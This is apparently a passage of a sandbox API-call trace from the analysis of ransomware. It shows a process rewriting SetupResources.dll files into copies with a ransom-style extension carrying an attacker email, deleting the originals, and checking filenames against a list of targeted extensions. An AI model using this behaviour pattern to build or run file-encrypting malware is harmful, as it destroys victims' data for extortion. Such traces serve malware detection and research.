(lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0087.755] GetLastError () returned 0x0 [0087.755] ReadFile (in: hFile=0x334, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x4758, lpOverlapped=0x0) returned 1 [0087.757] WriteFile (in: hFile=0x348, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x4760, lpOverlapped=0x0) returned 1 [0087.758] ReadFile (in: hFile=0x334, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.758] WriteFile (in: hFile=0x348, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0xf8, lpOverlapped=0x0) returned 1 [0087.758] SetEndOfFile (hFile=0x348) returned 1 [0087.759] CloseHandle (hObject=0x348) returned 1 [0087.760] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.760] SetEndOfFile (hFile=0x334) returned 1 [0087.761] CloseHandle (hObject=0x334) returned 1 [0087.761] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0087.761] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 1 [0087.762] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0087.762] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0087.762] lstrlenW (lpString=".doc") returned 4 [0087.762] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0087.762] lstrlenW (lpString=".docx") returned 5 [0087.762] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0087.762] lstrlenW (lpString=".pdf") returned 4 [0087.762] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0087.762] lstrlenW (lpString=".xls") returned 4 [0087.762] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0087.762] lstrlenW (lpString=".xlsx") returned 5 [0087.762] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0087.762] lstrlenW (lpString=".ppt") returned 4 [0087.762] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0087.762] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0087.762] lstrlenW (lpString=".zip") returned 4 [0087.762] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0087.762] lstrlenW (lpString=".rar") returned 4 [0087.762] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0087.762] lstrlenW (lpString=".bz2") returned 4 [0087.762] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0087.762] lstrlenW (lpString=".7z") returned 3 [0087.762] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0087.762] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0087.762] lstrlenW (lpString=".dbf") returned 4 [0087.763] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0087.763] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0087.763] lstrlenW (lpString=".1cd") returned 4 [0087.763] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0087.763] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0087.763] lstrlenW (lpString=".jpg") returned 4 [0087.763] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0087.763] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0087.763] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0087.763] lstrlenW (lpString=".doc") returned 4 [0087.763] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0087.763] lstrlenW (lpString=".docx") returned 5 [0087.763] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0087.763] lstrlenW (lpString=".pdf") returned 4 [0087.763] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0087.763] lstrlenW (lpString=".xls") returned 4 [0087.763] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0087.763] lstrlenW (lpString=".xlsx") returned 5 [0087.763] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0087.763] lstrlenW (lpString=".ppt") returned 4 [0087.763] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0087.763] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0087.763] lstrlenW (lpString=".zip") returned 4 [0087.763] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0087.763] lstrlenW (lpString=".rar") returned 4 [0087.763] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0087.763] lstrlenW (lpString=".bz2") returned 4 [0087.763] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0087.763] lstrlenW (lpString=".7z") returned 3 [0087.764] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0087.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0087.764] lstrlenW (lpString=".dbf") returned 4 [0087.764] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0087.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0087.764] lstrlenW (lpString=".1cd") returned 4 [0087.764] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0087.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0087.764] lstrlenW (lpString=".jpg") returned 4 [0087.764] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0087.764] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0087.764] lstrlenW (lpString="SetupResources.dll") returned 18 [0087.764] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0087.764] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=18264) returned 1 [0087.765] CloseHandle (hObject=0x334) returned 1 [0087.765] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 0x80 [0087.765] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0087.765] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0087.765] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.765] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.765] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0087.765] GetLastError () returned 0x0 [0087.765] ReadFile (in: hFile=0x334, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x4758, lpOverlapped=0x0) returned 1 [0087.767] WriteFile (in: hFile=0x348, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x4760, lpOverlapped=0x0) returned 1 [0087.769] ReadFile (in: hFile=0x334, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.769] WriteFile (in: hFile=0x348, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0xf8, lpOverlapped=0x0) returned 1 [0087.769] SetEndOfFile (hFile=0x348) returned 1 [0087.769] CloseHandle (hObject=0x348) returned 1 [0087.770] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.770] SetEndOfFile (hFile=0x334) returned 1 [0087.771] CloseHandle (hObject=0x334) returned 1 [0087.771] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0087.771] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 1 [0087.772] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0087.772] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0087.772] lstrlenW (lpString=".doc") returned 4 [0087.772] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0087.772] lstrlenW (lpString=".docx") returned 5 [0087.772] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0087.772] lstrlenW (lpString=".pdf") returned 4 [0087.772] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0087.772] lstrlenW (lpString=".xls") returned 4 [0087.772] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0087.772] lstrlenW (lpString=".xlsx") returned 5 [0087.772] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0087.772] lstrlenW (lpString=".ppt") returned 4 [0087.772] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0087.772] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0087.773] lstrlenW (lpString=".zip") returned 4 [0087.773] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0087.773] lstrlenW (lpString=".rar") returned 4 [0087.773] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0087.773] lstrlenW (lpString=".bz2") returned 4 [0087.773] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0087.773] lstrlenW (lpString=".7z") returned 3 [0087.773] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0087.773] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0087.773] lstrlenW (lpString=".dbf") returned 4 [0087.773] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0087.773] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0087.773] lstrlenW (lpString=".1cd") returned 4 [0087.773] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0087.773] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0087.773] lstrlenW (lpString=".jpg") returned 4 [0087.773] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0087.773] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0087.773] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0087.773] lstrlenW (lpString=".doc") returned 4 [0087.773] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0087.773] lstrlenW (lpString=".docx") returned 5 [0087.773] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0087.773] lstrlenW (lpString=".pdf") returned 4 [0087.773] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0087.773] lstrlenW (lpString=".xls") returned 4 [0087.773] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0087.774] lstrlenW (lpString=".xlsx") returned 5 [0087.774] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0087.774] lstrlenW (lpString=".ppt") returned 4 [0087.774] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0087.774] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0087.774] lstrlenW (lpString=".zip") returned 4 [0087.774] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0087.774] lstrlenW (lpString=".rar") returned 4 [0087.774] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0087.774] lstrlenW (lpString=".bz2") returned 4 [0087.774] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0087.774] lstrlenW (lpString=".7z") returned 3 [0087.774] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0087.774] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0087.774] lstrlenW (lpString=".dbf") returned 4 [0087.774] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0087.774] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0087.774] lstrlenW (lpString=".1cd") returned 4 [0087.774] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0087.774] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0087.774] lstrlenW (lpString=".jpg") returned 4 [0087.774] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0087.774] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0087.775] lstrlenW (lpString="SetupResources.dll") returned 18 [0087.775] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0087.775] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=18264) returned 1 [0087.775] CloseHandle (hObject=0x334) returned 1 [0087.775] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 0x80 [0087.775] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0087.775] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0087.775] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.775] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.775] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0087.776] GetLastError () returned 0x0 [0087.776] ReadFile (in: hFile=0x334, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x4758, lpOverlapped=0x0) returned 1 [0087.777] WriteFile (in: hFile=0x348, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x4760, lpOverlapped=0x0) returned 1 [0087.779] ReadFile (in: hFile=0x334, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.779] WriteFile (in: hFile=0x348, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0xf8, lpOverlapped=0x0) returned 1 [0087.779] SetEndOfFile (hFile=0x348) returned 1 [0087.779] CloseHandle (hObject=0x348) returned 1 [0087.780] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.780] SetEndOfFile (hFile=0x334) returned 1 [0087.785] CloseHandle (hObject=0x334) returned 1 [0087.785] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0087.785] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 1 [0087.786] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0087.786] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0087.786] lstrlenW (lpString=".doc") returned 4 [0087.786] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0087.786] lstrlenW (lpString=".docx") returned 5 [0087.786] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0087.786] lstrlenW (lpString=".pdf") returned 4 [0087.786] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0087.786] lstrlenW (lpString=".xls") returned 4 [0087.786] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0087.786] lstrlenW (lpString=".xlsx") returned 5 [0087.786] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0087.786] lstrlenW (lpString=".ppt") returned 4 [0087.786] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0087.786] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0087.786] lstrlenW (lpString=".zip") returned 4 [0087.786] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0087.786] lstrlenW (lpString=".rar") returned 4 [0087.786] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0087.786] lstrlenW (lpString=".bz2") returned 4 [0087.786] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0087.786] lstrlenW (lpString=".7z") returned 3 [0087.786] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0087.787] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0087.787] lstrlenW (lpString=".dbf") returned 4 [0087.787] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0087.787] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0087.787] lstrlenW (lpString=".1cd") returned 4 [0087.787] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0087.787] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0087.787] lstrlenW (lpString=".jpg") returned 4 [0087.787] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0087.787] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0087.787] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0087.787] lstrlenW (lpString=".doc") returned 4 [0087.787] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0087.787] lstrlenW (lpString=".docx") returned 5 [0087.787] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0087.787] lstrlenW (lpString=".pdf") returned 4 [0087.787] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0087.787] lstrlenW (lpString=".xls") returned 4 [0087.787] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0087.787] lstrlenW (lpString=".xlsx") returned 5 [0087.787] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0087.787] lstrlenW (lpString=".ppt") returned 4 [0087.787] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0087.787] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0087.787] lstrlenW (lpString=".zip") returned 4 [0087.787] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0087.787] lstrlenW (lpString=".rar") returned 4 [0087.787] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.072] lstrlenW (lpString=".bz2") returned 4 [0088.072] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.072] lstrlenW (lpString=".7z") returned 3 [0088.073] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.073] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0088.073] lstrlenW (lpString=".dbf") returned 4 [0088.073] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.073] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0088.073] lstrlenW (lpString=".1cd") returned 4 [0088.073] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.073] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0088.073] lstrlenW (lpString=".jpg") returned 4 [0088.073] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.073] Sleep (dwMilliseconds=0x64) [0088.367] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0088.367] lstrlenW (lpString="SetupResources.dll") returned 18 [0088.367] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0088.367] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=14168) returned 1 [0088.367] CloseHandle (hObject=0x348) returned 1 [0088.367] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 0x80 [0088.367] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0088.368] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0088.368] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.368] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.368] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0088.368] GetLastError () returned 0x0 [0088.368] ReadFile (in: hFile=0x348, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x3758, lpOverlapped=0x0) returned 1 [0088.370] WriteFile (in: hFile=0x300, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x3760, lpOverlapped=0x0) returned 1 [0088.372] ReadFile (in: hFile=0x348, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0088.372] WriteFile (in: hFile=0x300, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0xf8, lpOverlapped=0x0) returned 1 [0088.372] SetEndOfFile (hFile=0x300) returned 1 [0088.372] CloseHandle (hObject=0x300) returned 1 [0088.375] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.375] SetEndOfFile (hFile=0x348) returned 1 [0088.376] CloseHandle (hObject=0x348) returned 1 [0088.376] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0088.376] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 1 [0088.377] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0088.377] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0088.377] lstrlenW (lpString=".doc") returned 4 [0088.377] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.377] lstrlenW (lpString=".docx") returned 5 [0088.377] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0088.377] lstrlenW (lpString=".pdf") returned 4 [0088.377] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.377] lstrlenW (lpString=".xls") returned 4 [0088.377] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.377] lstrlenW (lpString=".xlsx") returned 5 [0088.377] lstrcmpiW 